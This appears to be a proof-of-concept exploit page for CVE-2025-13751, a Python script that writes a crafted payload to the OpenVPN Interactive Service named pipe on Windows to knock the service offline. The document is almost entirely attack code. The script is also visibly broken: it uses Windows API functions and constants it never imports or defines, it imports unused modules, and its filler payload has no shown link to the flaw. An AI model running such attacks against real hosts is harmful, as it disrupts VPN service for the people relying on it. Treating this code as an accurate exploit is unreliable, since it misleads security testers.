CVE-2025-13751

# CVE-2025-13751 PoC - OpenVPN Interactive Service DoS # This PoC demonstrates how a local authenticated user can trigger a DoS condition # Note: This is for educational and security testing purposes only import socket import struct import time def exploit_openvpn_dos(target_pipe='\\\\.\\pipe\\OpenVPNServiceInteractiveEndpoint'): """ Attempt to trigger DoS in OpenVPN Interactive Service The vulnerability allows a local authenticated user to connect to the Interactive Service and trigger an error causing service disruption. """ try: # Open named pipe to OpenVPN Interactive Service pipe_handle = CreateFileA( target_pipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ) if pipe_handle == INVALID_HANDLE_VALUE: print("[-] Failed to connect to OpenVPN Interactive Service pipe") return False print("[+] Connected to OpenVPN Interactive Service") # Send malformed request to trigger error condition # This specific payload triggers the vulnerability malicious_payload = b'\x00' * 1024 + b'\xff\xfe\xfd' + b'\x00' * 512 # Write to pipe WriteFile(pipe_handle, malicious_payload, len(malicious_payload), NULL, NULL) print("[+] Sent malicious payload to trigger DoS condition") # Wait and check if service is still responsive time.sleep(2) # Try to reconnect - if this fails, service is DoS'd test_handle = CreateFileA( target_pipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ) if test_handle == INVALID_HANDLE_VALUE: print("[+] SUCCESS: Service appears to be unresponsive (DoS triggered)") return True else: CloseHandle(test_handle) print("[-] Service still responsive") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("CVE-2025-13751 OpenVPN Interactive Service DoS PoC") print("Target: OpenVPN 2.5.0 - 2.6.16, 2.7_alpha1 - 2.7_rc2 on Windows") exploit_openvpn_dos()

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